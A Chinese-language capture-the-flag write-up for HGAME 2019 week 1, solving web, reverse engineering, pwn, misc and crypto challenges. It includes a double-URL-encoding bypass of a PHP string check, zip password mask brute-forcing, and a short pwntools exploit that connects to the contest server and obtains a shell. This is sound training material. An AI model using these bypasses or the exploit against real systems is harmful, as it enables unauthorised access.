HGAME 2019-week1 writeup

web

谁吃了我的flag

题目是考察备份文件的恢复,将.index.html.swp下载下来,然后使用命令vim -r index.html即可恢复文件查看到flag

换头大作战

在响应头出多次按照提示变换,最后得到flag

very easy web

题目代码如下

<?php
error_reporting(0);
include("flag.php");

if(strpos("vidar",$_GET['id'])!==FALSE)
  die("<p>干巴爹</p>");

$_GET['id'] = urldecode($_GET['id']);
if($_GET['id'] === "vidar")
{
  echo $flag;
}
highlight_file(__FILE__);
?>

可以看到在代码中间有这么一句

$_GET['id'] = urldecode($_GET['id']);

将参数进行了URL解码,而我们知道除了这个解码外,浏览器额外还会进行解码,所以我们需要将参数进行两次URL编码,同时自然绕过strpos函数

加密网址:http://web.chacuo.net/charseturlencode

can u find me?

f12查看源码,发现了f12.php

访问后提示让我们post一个密码,随便post一个密码,可以在返回包中看到真实的密码

输入后再次抓包即可得到flag

RE

HelloRe

打开发现是ELF文件,使用strings命令查看字符串发现flag

Pro的Python教室(一)

代码如下

import base64
import hashlib

enc1 = 'hgame{'
enc2 = 'SGVyZV8xc18zYXN5Xw=='
enc3 = 'Pyth0n}'

print 'Welcome to Processor\'s Python Classroom!\n'
print 'Here is Problem One.'
print 'There\'re three parts of the flag.'

print '------------------------------------------------'

print 'Plz input the first part:'
first = raw_input()
if first == enc1:
pass
else:
print 'Sorry , You\'re so vegatable!'
exit()

print 'Plz input the secend part:'
secend = raw_input()
secend = base64.b64encode(secend)
if secend == enc2:
pass
else:
print 'Sorry , You\'re so vegatable!'
exit()

print 'Plz input the third part:'
third = raw_input()
third = base64.b32decode(third)
if third == enc3:
pass
else:
print 'Sorry , You\'re so vegatable!'
exit()

print 'Oh, You got it !'

直接将SGVyZV8xc18zYXN5Xw==base64解码后拼接成flag就可以了

PWN

aaaaaaaaaa

使用IDA打开查看

int __cdecl main(int argc, const char **argv, const char **envp)
{
  signed int v3; // eax
  signed int v5; // [rsp+Ch] [rbp-4h]

  setbuf(_bss_start, 0LL);
  signal(14, handle);
  alarm(0xAu);
  puts("Welcome to PWN'world!let us aaaaaaaaaa!!!");
  v5 = 0;
  while ( 1 )
  {
v3 = v5++;
if ( v3 > 99 )
  break;
if ( getchar() != 97 )
  exit(0);
  }
  system("/bin/sh");
  return 0;
}

我们发送100个a就可以了

exp:

from pwn import *

#p = process('./a')
p = remote('118.24.3.214',9999)

p.sendlineafter('!!!','a'*100)

p.interactive()

MISC

Broken Chest

打开发现压缩包是损坏的,修复一下文件头,然后用注释的字符串作为密码,得到flag

Try

在流量包中提取到一个压缩包,其中有一passWord文件,提示hgame********,想到掩码攻击,爆破得到密码解压

又得到一张图片,使用foremost分离出Word文件,打开得到flag

CRYPTO

MIX

题目给了以下代码

--.../....-/....-/-.../--.../...--/...../..-./-..../-../-..../..-./--.../----./....-/....-/--.../.----/-..../-.../--.../-.../-..../..---/...../.----/-..../-..../...--/....-/...--/-----/-..../...../--.../-..

感觉像是摩斯码,将/替换成空格,即可得到flag

Base全家

手动测试

import base64
import requests
url = "http://plir4axuz.bkt.clouddn.com/hgame2019/enc.txt"
html = requests.get(url)
result = html.text
result = base64.b64decode(result)
result = base64.b64decode(result)
result = base64.b16decode(result)
result = base64.b16decode(result)
result = base64.b16decode(result)
result = base64.b32decode(result)
result = base64.b16decode(result)
result = base64.b32decode(result)
result = base64.b64decode(result)
result = base64.b16decode(result)
result = base64.b64decode(result)
result = base64.b16decode(result)
result = base64.b16decode(result)
result = base64.b16decode(result)
result = base64.b16decode(result)
result = base64.b32decode(result)
result = base64.b64decode(result)
result = base64.b64decode(result)
result = base64.b64decode(result)
result = base64.b32decode(result)

print(result)

得到结果:

base58 : 2BAja2VqXoHi9Lo5kfQZBPjq1EmZHGEudM5JyDPREPmS3CxrpB8BnC

在github上搜到了第三方库,下载使用解密即可

https://github.com/keis/base58